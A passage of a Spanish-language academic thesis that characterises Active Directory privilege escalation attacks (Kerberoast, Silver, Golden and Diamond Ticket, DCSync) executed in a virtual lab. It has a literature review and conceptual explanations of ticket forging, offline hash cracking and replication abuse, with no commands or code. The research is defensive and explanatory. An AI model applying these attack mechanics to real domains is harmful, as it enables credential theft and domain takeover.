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RESUMEN

La presente investigacion tuvo como objetivo caracterizar los ataques de escalada
de privilegios en Directorio Activo, considerando sus requisitos técnicos, ejecucion,
deteccion, mitigacion y respuesta en sistemas operativos Windows y Linux. La
metodologia empleada fue de tipo descriptiva de campo, basada en la ejecuciéon de
pruebas controladas dentro de un entorno virtual, ejecutando los siguientes ataques de
escalada de privilegios: Golden Ticket, Silver Ticket, Diamond Ticket, DCSync y
Kerberoast.

Los resultados mostraron que los requisitos técnicos y el nivel de dificultad de
cada ataque varian en funcion del acceso previo obtenido y de la complejidad de los pasos
técnicos, lo que demuestra que su éxito no depende Unicamente de vulnerabilidades
técnicas, sino también de la preparacion del atacante y de configuraciones inseguras en el
entorno de Directorio Activo. Se observo que tanto Windows como Linux permiten la
gjecucion de los ataques analizados, aunque con variaciones: Linux dispone de
herramientas mas integradas y automatizadas, mientras que en Windows se requiere
mayor configuracion y conocimientos técnicos, sin embargo, el nucleo de los ataques es
practicamente idéntico, lo que permitié caracterizarlos bajo un mismo conjunto de
indicadores. Finalmente, se concluye que no existen diferencias significativas en el
tiempo de ejecucion de los ataques entre Windows y Linux, por lo que este factor no

influye de manera relevante en la rapidez con la que se llevan a cabo los ataques.

Palabras clave: Directorio Activo, escalada de privilegios, ciberseguridad, Windows,

Linux.



ABSTRACT

This research aimed to characterize privilege escalation attacks in Active Directory,
considering their technical requirements, execution times, and the mechanisms of
implementation, detection, mitigation, and response in Windows and Linux operating
systems. The methodology employed was descriptive field, based on controlled tests
conducted in a virtual environment, where the following privilege escalation attacks were

executed: Golden Ticket, Silver Ticket, Diamond Ticket, DCSync, and Kerberoast.

The results showed that the technical requirements and difficulty level of each attack vary
according to the prior access obtained and the complexity of the technical steps involved.
This demonstrates that the success of these attacks does not rely solely on system
vulnerabilities, but also on the attacker’s knowledge and preparation, as well as insecure
configurations in the Active Directory environment. It was observed that both Windows
and Linux allow the execution of the analyzed attacks, although with certain variations:
Linux provides more integrated and automated tools, while Windows requires greater
prior configuration and deeper technical knowledge. Nevertheless, the core of the attacks
remains practically identical, which made it possible to characterize them under the same
set of indicators. Finally, it is concluded that there are no significant differences in the
execution time of the attacks between Windows and Linux, indicating that this factor is
not a decisive criterion when selecting the operating system to perform privilege

escalation attacks in Active Directory.

Keywords: Active Directory, privilege escalation, cybersecurity, Windows, Linux.
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INTRODUCCION

La escalada de privilegios en entornos de Directorio Activo representa una de las
amenazas mas criticas y persistentes en la ciberseguridad corporativa. Debido a su amplia
adopcion en empresas e instituciones, Directorio Activo se ha convertido en un
componente esencial para la gestién de usuarios y accesos en redes informaticas; sin
embargo, esta centralizacion también lo transforma en un objetivo prioritario para
atacantes que buscan obtener acceso privilegiado y, con ello, el control total de la

infraestructura.

En este escenario, la presente investigacion responde a esa necesidad mediante un analisis
comparativo de las caracteristicas de los ataques: DCSync, Kerberoast, Golden Ticket,
Silver Ticket y Diamond Ticket en Directorio Activo, ejecutados desde entornos
Windows y Linux. evaluando sus requisitos, procedimientos, deteccion, mitigacion y
tiempos de ejecucion. Con ello, no solo busca discernir cual de ellos se destaca por su
nivel de complejidad en distintos aspectos, sino que también se busca proporcionar
conocimiento técnico que permita fortalecer las defensas frente a amenazas de este
sistema, reduciendo la superficie de exposicidn y fomentando practicas de seguridad mas

efectivas.

La presente investigacion esta organizada en cinco capitulos de la siguiente manera: El
capitulo | aborda la descripcion de la problematica, la formulacién del problema, los
objetivos de investigacion, asi como la justificacion y variables. El capitulo 11 recopila
los antecedentes, asi como las bases teoricas y definiciones. En el capitulo 111 se presenta
la metodologia empleada, las herramientas utilizadas y el procedimiento para la ejecucion
y medicidn de los ataques. En el capitulo IV y V se exponen los resultados obtenidos y la
discusion de estos. Finalmente, se incluyen las conclusiones, recomendaciones,

referencias bibliogréaficas y anexos.



CAPITULO |
PLANTEAMIENTO DEL PROBLEMA

1.1 Antecedentes del problema a investigar

En los ultimos afios, la ciberseguridad se ha consolidado como un componente
esencial para garantizar la continuidad operativa y la proteccién de los activos digitales
de las organizaciones. Entre las amenazas mas relevantes se destacan los ataques de
escalada de privilegios, los cuales permiten a un atacante obtener niveles de acceso
superiores a los originalmente concedidos. Este tipo de ataques afecta directamente a la
integridad de los sistemas y, en especial, a los entornos encargados de la gestion de
identidades y permisos, como Directorio Activo, ampliamente utilizado en redes

corporativas.

En el &mbito de la investigacion cientifica, se ha evidenciado que, aunque muchas
vulnerabilidades de software pueden mitigarse mediante actualizaciones o parches, las
técnicas de escalada de privilegios contintan representando un riesgo persistente, al
aprovechar debilidades estructurales y configuraciones inherentes de los sistemas. Esta
situacion resalta la importancia de analizar en profundidad las caracteristicas e impactos
de dichos ataques sobre los distintos sistemas operativos. Asi lo concluy6 Brookers en su

investigacion de 2018 titulada “Mitigating Privilege Escalation”.

De manera complementaria, Haimed et al. (2023), demuestran como algunos
ajustes erroneos, como los grupos dindmicos o la activacion de Managed ldentity en
maquinas virtuales, pueden ser utilizados para acceder a informacion sensible dentro de
un Directorio Activo de Azure (AAD), lo que subraya la necesidad de continuar
investigando en esta linea. En una perspectiva similar, Georgiadou et al. (2021) plantean
la integracion del factor humano en la seguridad organizacional, argumentando que una
cultura de seguridad solida favorece una defensa mas efectiva y una evaluacion mas

precisa de los riesgos.



En conjunto, estas investigaciones evidencian la creciente relevancia de estudiar
los ataques de escalada de privilegios desde una perspectiva integral, que abarque
distintos entornos como Directorio Activo, Azure y sistemas operativos moviles, con el
fin de optimizar las estrategias de deteccidn, mitigacion y respuesta frente a este tipo de
amenazas. Esta vision resulta esencial, ya que dichas amenazas, por su caracter
transversal y su capacidad de afectar multiples plataformas, contintan representando uno
de los mayores desafios en el &mbito de la seguridad de la informacién. Asimismo, los
estudios revisados proporcionan un marco conceptual solido que sustenta y orienta la
presente investigacion titulada “Analisis comparativo de caracteristicas en ataques de

escalada de privilegios en Directorio Activo”.

1.2 Descripcién del problema

Debido a su amplia adopcién en empresas e instituciones, Directorio Activo es un
componente esencial para la administracién de usuarios y accesos en redes informaticas.
Sin embargo, esta centralizacion también lo convierte en uno de los principales objetivos
para los atacantes, quienes buscan obtener acceso privilegiado y controlar por completo
lared. Esta tendencia se ve reflejada en el informe de IBM X-Force 2025, el cual concluye
que el 30% de las intrusiones actuales se basan en el uso de credenciales validas,
evidenciando un aumento en los ataques sigilosos y persistentes, como los de escalada de

privilegios dentro de entornos como Directorio Activo.

Segln IBM (2024), el 84% de los incidentes en infraestructuras criticas podria
haberse prevenido aplicando politicas de seguridad mas estrictas, como el principio de
minimo privilegio, lo que revela una deficiencia en las configuraciones de seguridad
aplicadas. Esta situacion se agrava con el despliegue de Directorio Activo con
configuraciones predeterminada, la cual es una practica comin en muchas
organizaciones, aumentando la exposicion a ataques de escalada de privilegios que

aprovechan estas configuraciones.

Esta situacion no solo demuestra la necesidad de politicas de seguridad mas estrictas,
sino también de investigaciones centradas en ataques de escalamiento de privilegios y su
impacto en Directorio Activo. La presente investigacion se enfoca en caracterizar estas
vulnerabilidades en entornos Windows y Linux, considerando que comprender las

similitudes y diferencias entre ambos entornos permitira desarrollar enfoques de



seguridad especificos. Este andlisis contribuird significativamente a mejorar las practicas
de deteccion y mitigacion de vulnerabilidades, fortaleciendo la protecciéon de redes

empresariales e institucionales.

1.3 Formulacion del problema

Problema general

¢Cuales son las caracteristicas de los ataques de escalada de privilegios en

Directorio Activo?
Problemas especificos

a) ¢Cuéles son los requisitos técnicos necesarios para ejecutar los ataques de escalada
de privilegios en Directorio Activo?

b) ¢Como se implementan los ataques de escalada de privilegios en Directorio Activo
desde sistemas operativos Windows y Linux?

c) ¢Cuéles son los tiempos de ejecucion de los ataques de escalada de privilegios en
Directorio Activo desde sistemas operativos Windows y Linux?

1.4 Obijetivos de la investigacion

Objetivo general

Determinar las caracteristicas de los ataques de escalada de privilegios en

Directorio Activo.

Obijetivos especificos

a) Identificar los requisitos técnicos necesarios para ejecutar ataques de escalada de
privilegios en Directorio Activo.

b) Analizar los métodos de implementacion de ataques de escalada de privilegios en
Directorio Activo desde sistemas operativos Windows y Linux.

c) Examinar los tiempos de ejecucion de los ataques de escalada de privilegios en

Directorio Activo desde entornos Windows y Linux.



1.5 Justificacion e importancia de la investigacion
Justificacion

El protocolo Kerberos, ampliamente utilizado para la autenticacién en entornos
Directorio Activo, es fundamental para la seguridad en redes corporativas al permitir un
acceso controlado y seguro a usuarios y recursos. Sin embargo, como indican estudios
recientes, su configuracion incorrecta puede dar lugar a vulnerabilidades criticas, lo que
lo convierte en un objetivo atractivo para ciberataques. Segun el informe X-Force Threat
Intelligence Index 2024 de IBM, el numero de ataques tipo kerberoasting se ha
incrementado en un 100%, reflejando una tendencia significativa en la escalada de
privilegios para la obtencion de acceso no autorizado.

Estos ataques de escalada de privilegios y persistencia permiten que los atacantes
mantengan acceso prolongado a una red, lo que no solo pone en riesgo datos
confidenciales, sino que compromete la integridad, disponibilidad y confidencialidad de
sistemas y servicios criticos. Ademas, segun datos publicados por CrowdStrike (2023),
entre 2021 y 2023, el 55 % de los incidentes de amenazas internas involucraron el uso o
intento de uso de ataques de escalada de privilegios. Incluso, el 45 % restante de los
incidentes se originaron por la descarga no autorizada de herramientas ofensivas, muchas
veces con fines de prueba o capacitacion, lo que evidencia una falta de control y
concientizacion dentro de las organizaciones. A ello se suma que el nimero de incidentes

provocados por amenazas internas aumento en un 44 % entre 2020 y 2022.

Importancia

En un contexto donde la ciberseguridad es cada vez mas prioritaria y las amenazas
internas y externas se sofistican, las organizaciones deben adoptar medidas proactivas
para mitigar estos riesgos. Esta investigacion se centra en la caracterizacion de ataques
de escalada de privilegios en Directorio Activo en entornos Windows y Linux,
proporcionando una evaluacion detallada de los requisitos, implementacion, deteccion,
mitigacion y tiempos de ejecucion. Los resultados obtenidos podrian servir como base
técnica para que las organizaciones fortalezcan sus defensas frente a ataques orientados a
la persistencia mediante escalada de privilegios, reduciendo asi su superficie de

exposicion.



Ademas, esta investigacion cobra relevancia debido a la escasa literatura académica
que aborde de manera sistemética este tipo de ataques desde diferentes sistemas
operativos. En ese sentido, los hallazgos no solo aportaran a la comprension teorica del
problema, sino que también impulsaran nuevas lineas de investigacion en deteccion y
respuesta ante amenazas, contribuyendo al desarrollo de estrategias de seguridad més

robustas y adaptadas a entornos corporativos modernos.
1.6 Limitaciones

Esta investigacion se realiza en un entorno de laboratorio virtual el cual proporciona
un ambiente controlado para analizar los ataques de escalada de privilegios, por lo que los
resultados pueden variar ligeramente respecto a las configuraciones de entornos
empresariales reales. No obstante, los resultados de las pruebas son validos para alcanzar
los objetivos planteados, dado que el laboratorio virtual permitira analizar los aspectos

fundamentales de los ataques.

1.7 Viabilidad del estudio

La investigacion es viable gracias a la disponibilidad de herramientas de
virtualizacion que facilitan la creacion de un entorno de Directorio Activo en laboratorio,

asi como el acceso a software y herramientas de analisis de seguridad.

1.8 Formulacion de la hip6tesis

Segin Hernéndez et al. (2014), el hecho de formular o no hipdtesis depende
principalmente del alcance inicial del estudio. En el caso de esta investigacion al buscar
caracterizar el nivel de complejidad de cada ataque y no la relacién entre estos, se
determind la no utilizacion de hipotesis. En la investigacion se describen las caracteristicas

de los ataques de escalada de privilegios en Directorio Activo.

1.9 Variable

Segun Hernandez et al. (2014), una variable es una propiedad que puede

experimentar cambios y cuya variacion es posible medir u observar.

En el presente estudio, la Unica variable considerada es el ataque de escalada de
privilegios, por lo que se trata de una investigacion univariable, ya que no se establecen
relaciones entre variables independientes y dependientes, sino que se analiza una sola

variable en profundidad.



Definicion de la variable: Ataque de escalada de privilegios

e Definicion Conceptual: Segun Ahmed (2021), la escalada de privilegios es el proceso

de explotar vulnerabilidades o malas configuraciones para elevar el acceso de un

usuario a uno con privilegios administrativos.

o Definicion Operacional: La escalada de privilegios se caracteriza a partir del analisis

del ataque, considerando dimensiones como los requisitos técnicos, la ejecucion, la

deteccidn, la mitigacion y la respuesta.

1.10 Operacionalizacién de variables

En la Tabla 1 se presenta la operacionalizacién detallada de la variable de estudio,

describiendo de forma precisa sus componentes, dimensiones e indicadores. Este

esquema metodoldgico asegura la validez y rigurosidad en la recoleccion y anélisis de los

datos, en concordancia con los objetivos planteados en la investigacion.

La caracterizacion de un ataque de escalada de privilegios comprende: requisitos,

ejecucion, deteccidn, mitigacion y respuesta.

Tabla 1

Operacionalizacion de la variable ataque de escalada de privilegio.

Variable Dimension Indicadores Escala de medicion
. - o Herramientas necesarias S
Requisitos técnicos Permisos previos requeridos Ordm_al. Bajo,
del ataque L : Medio, Alto
e Conocimiento requerido
e NUmero de pasos requeridos
Ejecucion del e Complejidad técnica Ordinal: Bajo,
ataque e Errores o repeticiones requeridas Medio, Alto
e Tiempo de ejecucion (segundos)
¢ Existencia de eventos Unicos en logs S
L, . L Ordinal: Bajo,
Ataque de Deteccion ¢ Necesidad de correlacion :
i, Medio, Alto
esc_algda_de e Falsos positivos
privilegio e Complejidad de las acciones
preventivas S
S . - . Ordinal: Bajo,
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e Recursos necesarios para la
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P ¢ Requerimiento de personal Medio, Alto
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CAPITULO Il
MARCO TEORICO

2.1 Antecedentes del trabajo de investigacion

Internacionales

Motero et al. (2021) en su articulo “On Attacking Kerberos Authentication Protocol
in Windows Active Directory Services: A Practical Survey”, realizan un analisis del
servicio Directorio Activo frente a diferentes tipos de ataques y propone una forma de
detectarlos y mitigarlos para reducir su impacto en los servicios. Estudi6 los principales
ataques al protocolo Kerberos, desarrollé su implementacion en un laboratorio virtual y
analizo su deteccidn, concluyendo que, aunque los ataques son dificiles de implementar,
su deteccion es aun mas complicada y los dafios son criticos, por lo que es necesario
monitorizar continuamente los logs en estos entornos para detectarlos y aplicar estrictas

medidas de mitigacion y respuesta.

Ibrahim et al. (2022) en su trabajo “Active Directory Attacks—Steps, Types, and
Signatures”, analizan el servicio de Directorio Activo de Microsoft centrandose en la
criticidad, el impacto y la deteccion de ataques de escalada de privilegios. El trabajo
analiza las principales técnicas de ataque, asi como las distintas etapas que conforman un
compromiso exitoso en este entorno, destacando el abuso del protocolo de autenticacion
Kerberos como vector comdn en muchos de ellos. Los autores experimentan con dos
ataques de escalada de privilegios, con el fin de identificar las firmas que estos dejan en
los registros de eventos de Windows. Como resultado, evidencian que ciertos eventos
especificos pueden ser Utiles para la deteccion temprana y la mitigacion de estos ataques,
aportando informacion valiosa para la construccion de mecanismos de monitoreo mas

efectivos.

Grippo & Kholidy (2022), en su investigacion " Detecting Forged Kerberos Tickets
in an Active Directory Environment”, analizaron el funcionamiento y la deteccion de dos
ataques criticos al protocolo Kerberos: Golden Ticket y Silver Ticket. Para ello,
replicaron ambos ataques en un entorno virtual con el objetivo de observar su

comportamiento en tiempo real y evaluar posibles mecanismos de deteccion. Como



resultado, se identificd que, aunque los atacantes pueden modificar varios pardmetros de
los tickets para evadir mecanismos defensivos, una caracteristica dificil de falsificar es el
valor MaxTicketAge, resaltando la importancia de monitorear atributos especificos

dentro de los registros de eventos de Kerberos.

Dora & Hluchy (2025), en su investigacion “Exploitation of Active Directory
through Resource-Based Constrained Delegation (RBCD)”, analizan las implicaciones de
seguridad asociadas a la delegacion restringida basada en recursos (RBCD) dentro del
Directorio Activo, asi como las estrategias empleadas por atacantes para abusar de esta
funcionalidad. El estudio tiene como objetivo comprender las causas y consecuencias de
la aplicacion de parches de seguridad y evaluar la efectividad de los mecanismos de
delegacion implementados por Microsoft frente a nuevas técnicas de explotacion. La
metodologia utilizada fue de tipo aplicada y experimental, los resultados evidencian que,
pese a las mejoras aplicadas por parte de Microsoft, los atacantes ain pueden aprovechar
configuraciones erroneas o insuficientemente protegidas en la gestion de permisos de
objetos y mecanismos de delegacion del protocolo Kerberos, lo que puede conducir al

compromiso total del dominio de Directorio Activo.

Aksit (2024), en su investigacion “An analysis of Kerberoasting attack and
detection with supervised machine learning algorithms”, analiza el ataque de Kerberoast
centrandose en su deteccion y mitigacion. La metodologia utilizada fue de tipo descriptiva
comparativa, ya que el estudio examiné los distintos enfoques de deteccion de ataques
tanto estadisticos como basados en algoritmos de aprendizaje automatico supervisado
(One-Class SVC, Random Forest, entre otros) y evalud su efectividad en términos de
precision, eficiencia y reduccion de falsos positivos y negativos. Los resultados
demostraron que, aunque los algoritmos reducen los falsos positivos, aun presentan un
alto indice de falsos negativos, lo que evidencia la necesidad de mejorar los modelos de
deteccidn adaptativos y de desarrollar guias practicas para su aplicacion en entornos de

Directorio Activo.

Quintero & Martin del Rey (2020), en su articulo “A New Proposal on the
Advanced Persistent Threat: A Survey”, proponen un modelo basado en el ciclo de vida
de este tipo de ataques, incorporando técnicas de machine learning para mejorar su

identificacion temprana. La investigacion, de caracter descriptivo, estructura el modelo



en dos etapas pasivas y tres activas, con el fin de adaptar las estrategias de mitigacion
segun el comportamiento del ataque. El autor resalta que las APT se diferencian de los
ciberatagues comunes por su alto nivel de sofisticacion, persistencia y dificultad de
deteccion, lo que las convierte en una amenaza critica para organizaciones publicas y

privadas.

Nacionales

Hualpa et al. (2022), “Evaluacion de efectividad de las pruebas de penetracion
internas contra el escalamiento de privilegios de usuario” explora la utilidad de las
pruebas de penetracion internas para identificar vulnerabilidades de escalamiento de
privilegios en sistemas de informacion dentro de organizaciones. La metodologia
aplicada fue de tipo cuantitativa descriptiva de campo con el fin de observar y medir el
comportamiento del sistema frente a diferentes vectores de escalada. Para evaluar la
efectividad de estas pruebas, el estudio replicd tres variantes de ataques, empleando
métricas como el tiempo de ejecucion y la severidad de las vulnerabilidades segun el
estandar CVSS 3.1. Los resultados muestran que las pruebas de penetracion internas son
capaces de detectar vulnerabilidades rapidamente (en promedio, en 1 minuto y 30

segundos) y permiten clasificar su severidad, con niveles de riesgo alto y critico.

Ruiz (2023) en su investigacion “Caracterizacion y comparativa de técnicas de
escalada de privilegios en entornos Windows y Linux”, tienen como objetivo analizar
ataques que permiten elevar privilegios y comparar su efectividad segun métricas como
complejidad, requisitos, interaccion del usuario, dificultad de mitigacion y gravedad. La
metodologia utilizada fue de tipo descriptiva de campo basada en la ejecucién controlada
dentro de un laboratorio virtual. A partir de la ejecucion y analisis de diversas técnicas de
escalada de privilegios, se obtuvieron resultados que evidencian que, aunque las técnicas
en Windows suelen requerir mas pasos y condiciones previas, las de Linux tienden a ser
mas graves en términos de impacto, al facilitar con mayor frecuencia el acceso a

privilegios de root.

Chinchay & Pefia (2021) en su investigacion “Comparacion de protocolos de
autenticacion de usuarios en el control de acceso a redes inalambricas”, buscan analizar
los protocolos de autenticacion de usuarios en redes inalambricas de area local, con el fin

de determinar cual ofrece mayor seguridad en el control de acceso a los datos. Se aplicd
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una metodologia de tipo aplicada, con alcance descriptivo y enfoque cualitativo. El
estudio compard los protocolos Radius, Tacacs+, Diameter y Kerberos a través de tres
criterios: caracteristicas basicas de autenticacion, forma de trabajo y funcionalidad AAA.
Como resultado, se concluyé que Radius presentdé un mejor desempefio y fue
implementado mediante FreeRADIUS y LDAP en una méquina virtual, demostrando su

viabilidad como protocolo de autenticacion seguro en redes inalambricas.

Bermudez (2024), en su investigacion “Aplicacion de estandares de ciberseguridad
para proteger la informacion de las organizaciones”, tiene como objetivo general evaluar
la relevancia de los estandares y normativas de ciberseguridad para la proteccion de la
informacién y la continuidad operativa, se desarrollé bajo un enfoque cuantitativo y
descriptivo con un disefio no experimental y de alcance exploratorio y descriptivo. Los
resultados evidencian que la aplicacion de estandares y normativas contribuye
significativamente a fortalecer la gestion de la seguridad de la informacién y a promover

una cultura de ciberseguridad en las organizaciones.

2.2 Bases tedricas

2.2.1 Fundamentos de ciberseguridad

La ciberseguridad segin Becerril (2020), es el conjunto de herramientas, politicas,
acciones, buenas practicas, garantias y tecnologias que pueden utilizarse para proteger el
entorno cibernético, asi como los activos de las organizaciones y los usuarios. Asimismo,
sefiala que la ciberseguridad tiene como objetivo garantizar y mantener las propiedades
de seguridad de estos, haciendo referencia a propiedades como la disponibilidad, la
integridad y la confidencialidad.

Segun la Agencia de Ciberseguridad e Infraestructura de Estados Unidos (2021),
la ciberseguridad puede entenderse como la proteccion de activos de informacion
mediante el tratamiento de las amenazas que ponen en riesgo los datos que se procesan,
almacenan y transportan en sistemas interconectados, asi como la disciplina orientada a

resguardar redes, dispositivos y datos frente a accesos no autorizados o usos maliciosos.
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Elementos de seguridad

La confidencialidad, integridad y disponibilidad para Cervera & Goussens (2024)
constituyen el modelo fundamental que guia las politicas de seguridad de la informacién
en las organizaciones, especialmente en ciberseguridad y proteccién de datos ya que la
alteracion de cualquiera de estos principios puede comprometer tanto el funcionamiento

institucional como la confianza de los usuarios

e Confidencialidad: Garantiza que la informacion solo sea accesible para personas
autorizadas mediante controles como el cifrado y la autenticacion.

e Integridad: Asegura que los datos sean precisos y no hayan sido modificados de
forma no autorizada, utilizando mecanismos como hashes y politicas de control
de cambios.

e Disponibilidad: Procura que los sistemas y la informacion estén siempre

accesibles mediante infraestructuras resilientes y medidas contra diversos ataques.
Amenazas

Las organizaciones se encuentran expuestas a diversas amenazas en el ambito de
la seguridad de la informacion en entornos digitales. Dichos riesgos abarcan desde la
filtracion de datos sensibles hasta la alteracién de informacion estratégica, lo que puede

derivar en la pérdida de confianza por parte de los clientes (Bermudez, 2024a).

Las amenazas internas, o insider threats, constituyen uno de los principales
vectores de ataque a los que se enfrentan las organizaciones modernas. Este tipo de
amenazas son particularmente criticas debido a que provienen de individuos que poseen
acceso legitimo a los activos de informacion, ya sean empleados, proveedores,
consultores externos o incluso clientes. A diferencia de los atacantes externos, los
usuarios internos tienen un conocimiento detallado de la infraestructura tecnologica, el
funcionamiento de la red y la ubicacion de datos sensibles, lo que les otorga ventajas

significativas al momento de ejecutar acciones maliciosas (Delgado A, 2021).

En contraposicion, las amenazas externas tienen su origen fuera de la red local y
suelen ser perpetradas por individuos sin acceso autorizado a la infraestructura

organizacional. Este tipo de atacantes carecen de conocimiento previo de la red, por lo
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que deben realizar tareas de reconocimiento y exploracion para identificar

vulnerabilidades explotables. (Dominguez & Cotera, 2020)
Etapas de un ataque informatico

Para Ibrahim et al. (2022), los ciberataques modernos se desarrollan de manera
estructurada y progresiva, avanzando por diferentes fases orientadas a cumplir objetivos
estratégicos. Estas etapas conforman el ciclo de vida de un ataque y, aunque las técnicas
empleadas pueden variar en cada fase, la secuencia general suele mantenerse constante
entre diferentes incidentes. Este enfoque permite identificar las tacticas utilizadas por los
atacantes para obtener acceso inicial, ampliar su control dentro del entorno comprometido
y ejecutar acciones sobre activos criticos hasta alcanzar sus metas finales. En
concordancia con ello, Mittal (2024) sefiala que los ataques en entornos de Directorio

Activo también siguen un conjunto de etapas definidas:

e Acceso inicial: La etapa en la que el atacante obtiene un punto de apoyo dentro
del entorno (por ejemplo, mediante phishing, explotacion de vulnerabilidades,
uso de credenciales comprometidas o acceso fisico). Este acceso puede ser una
cuenta de usuario comun o una maquina con privilegios limitados.

e Enumeracién: Después de obtener acceso inicial, el atacante realiza la
enumeracion del dominio para identificar debilidades explotables. Empleando
tanto herramientas nativas de Microsoft como herramientas personalizadas, el
adversario recopila una gran cantidad de informacion como datos del dominio,
bosques, grupos privilegiados, entradas relevantes de listas de control de acceso,
la estructura del dominio, politicas de grupo aplicadas, archivos y recursos
compartidos sensibles, y maquinas con sesiones activas de usuarios objetivo.

e Escalada de Privilegios: Aprovechando la informacion obtenida en la
enumeracion, el atacante busca técnicas y vulnerabilidades para elevar sus
permisos hasta cuentas con privilegios, ya sea explotando malas configuraciones,
credenciales débiles, delegaciones incorrectas, fallos en parches, secuestros de
DLL o ataques a NTLM.

e Movimiento lateral: EI movimiento lateral ocurre cuando el atacante, tras
obtener mayores privilegios o credenciales validas, se desplaza entre equipos y

servicios del dominio para ampliar su control y acceder a recursos sensibles. Para
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ello, puede usar herramientas legitimas del sistema o instalar sus propios medios
de acceso remoto, manteniendo un perfil sigiloso dentro de la red.

e Persistencia: Una vez obtenidos los roles necesarios, el atacante instala
mecanismos para mantener el acceso a largo plazo (backdoors, cuentas
persistentes, tareas programadas, modificaciones en politicas), con el fin de evitar
la pérdida de su acceso inicial tras intentos de remediacion.

e Exfiltracion: Fase final en la que el atacante cumple su objetivo operacional:
localizar y extraer informacion critica del equipo o la red, y también puede cifrarla

o comprimirla para facilitar su traslado y ocultarla (ransomware o venta).

2.2.2 Ataques de escalada de privilegios

La escalada de privilegios consiste en aprovechar fallos de seguridad o
configuraciones inadecuadas de un sistema para obtener un nivel de acceso superior al
permitido originalmente. Este proceso permite que un atacante pase de una cuenta comun
a una con privilegios administrativos o de raiz, incrementando asi su control sobre uno o
varios sistemas dentro de un dominio. Al lograrlo, puede realizar modificaciones criticas,
sustraer informacion, alterar o dafiar el sistema operativo y asegurar su permanencia

mediante el uso de otras técnicas (Ahmed, 2021).

Caracterizacion de un ataque de escalada de privilegios

Segun Motero et al. (2021), la caracterizacion de un ataque de escalada de
privilegios comprende: requisitos, implementacion, deteccion, mitigacion y respuesta. En
primer lugar, se analizan las herramientas y condiciones necesarias para ejecutar el
ataque; posteriormente, su implementacion en un entorno controlado permite evaluar la
complejidad técnica y generar registros para su analisis. A partir de estos registros, se
determina la dificultad de deteccion, y finalmente se establecen medidas de mitigacion y

respuesta orientadas a contener y reparar el incidente.

Asimismo, Hualpa et al. (2022), destacan la importancia de incluir factores
medibles para evaluar la efectividad de los ataques, es fundamental considerar factores
que permitan comparar el desempefio de los ataques ejecutados. Entre estos factores, el
tiempo de ejecucion constituye una metrica clave para determinar la eficiencia de una
prueba. En la misma linea, Lopez de Jimenez (2016) sefiala que el tiempo invertido en la
ejecucion y andlisis de un ataque refleja tanto la complejidad del sistema evaluado como
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la practicidad del método empleado. En este sentido, el tiempo de ejecucion se consolida
como un parametro de escala de razon que aporta una vision mas completa del fenémeno,

al complementar la caracterizacion integral de los ataques de escalada de privilegios.
Dimensiones de un ataque de escalada de privilegios

De acuerdo con la metodologia propuesta por Motero et al. (2021), es posible
estructurar este andlisis en torno a cinco dimensiones fundamentales: requisitos,
implementacién, deteccion, mitigacion y respuesta. Estas dimensiones permiten
comprender el ataque, desde las condiciones previas necesarias para su ejecucion hasta
las acciones que posibilitan su contencion. En el contexto de esta investigacion, se adopta
esta estructura como base para la caracterizacion de los ataques de escalada de privilegios
en Directorio Activo.

- Requisitos: Condiciones previas necesarias para ejecutar con éxito un ataque de
escalada de privilegios. Incluye factores como los permisos o credenciales
requeridos, configuracion del entorno y las herramientas empleados.

- Implementacion o ejecucion: Describe el proceso practico de ejecucion del ataque
en un entorno controlado. Esta etapa proporciona informacién sobre el grado de
dificultad técnica y permite observar el comportamiento del ataque durante su
desarrollo. Ademas, en esta investigacion se incorpora la medicion del tiempo de
ejecucidn, entendido como el intervalo entre el inicio y la finalizacion efectiva del
ataque.

- Deteccion: La deteccidn se centra en analizar la capacidad de los mecanismos de
monitoreo y registro (logs) para identificar la actividad maliciosa generada durante
la ejecucidn del ataque. Esta dimensidn evalua la visibilidad del ataque dentro del
sistema y la claridad de los eventos que lo evidencian.

- Mitigacion: La mitigacion comprende las acciones preventivas destinadas a reducir
la posibilidad de exito del ataque. Estas incluyen la aplicacion de parches de
seguridad, el endurecimiento de configuraciones, el uso de autenticacion robusta, la
segmentacion de privilegios o la implementacion de controles de acceso adecuados.
Analizar esta dimension permite identificar puntos débiles en la gestion preventiva

de la seguridad y orientar buenas practicas en entornos Directorio Activo.
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- Respuesta: Abarca las medidas reactivas adoptadas tras la deteccion de un ataque.
Ataques que comprometen componentes esenciales del dominio o afectan multiples
sistemas suelen presentar una respuesta de alta dificultad. Esta dimension es esencial
para estimar la resiliencia del entorno frente a incidentes de escalada de privilegios y

valorar la eficacia de los planes de respuesta a incidentes.
Descripcion de los ataques

Dentro del estudio de los ataques de escalada de privilegios en Directorio Activo,
es fundamental identificar y describir los vectores mas representativos que permiten a un
atacante obtener control total o parcial sobre el dominio. Por ello, se aborda los cinco

ataques de estudio: Kerberoast, DCSync, Silver Ticket, Golden Ticket y Diamond Ticket.

Kerberoast

Kotlaba (2018), menciona que cualquier usuario que posea un Ticket Granting
Ticket (TGT) valido puede solicitar uno o varios tickets de servicio (TGS) para cualquier
Nombre Principal de Servicio (SPN) registrado en el Controlador de Dominio (DC). Del
mismo modo, Motero et al. (2021) explican que este proceso puede ser aprovechado por
un atacante que tenga control sobre una cuenta de usuario dentro del dominio, ya que esto
le permite solicitar un ticket de servicio. Si dicho servicio utiliza una cuenta configurada
con un cifrado débil, como RC4-HMAC-MDS5, el atacante puede exportar el ticket desde
la memoria y realizar un proceso de descifrado offline, probando multiples hashes NT. Si
el ataque tiene éxito, se obtiene la contrasefia de la cuenta de servicio en texto claro. Este
proceso de descifrado suele llevarse a cabo en sistemas externos controlados por el

adversario, con alta capacidad de computo, fuera de la red de la victima.

Silver Ticket Attack

Segun Ibrahim et al. (2022), Silver Ticket Attack se basa en la creacion de un Ticket
Granting Service (TGS) falsificado, lo que permite a un atacante autenticarse frente a un
servicio especifico dentro del dominio, suplantando la identidad de cualquier usuario sin
necesidad de comunicarse con el controlador de dominio. A diferencia de otros ataques
como el Golden Ticket, el Silver Ticket estd limitado a un Unico servicio. Para su
ejecucion, el atacante debe haber obtenido previamente el hash NTLM de la cuenta de

servicio objetivo, lo que le brinda la capacidad de generar el ticket fraudulento.
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De acuerdo con Tapia (2023) una vez que el TGS falsificado se almacena en la
cache de credenciales local, el atacante puede autenticarse directamente ante servicios
como SQL Server sin necesidad de proporcionar una contrasefia valida, obteniendo

acceso directo a recursos sensibles.

DCSync

Para Metcalf (2015), DCSync representa una técnica avanzada de exfiltracion de
credenciales en entornos Windows que operan bajo Directorio Activo. En lugar de
comprometer directamente un Controlador de Dominio (DC), DCSync permite a un
atacante con privilegios suficientes simular el comportamiento de uno mediante el
protocolo de Replicacion de Servicios de Directorio (DRS). A través de la solicitud
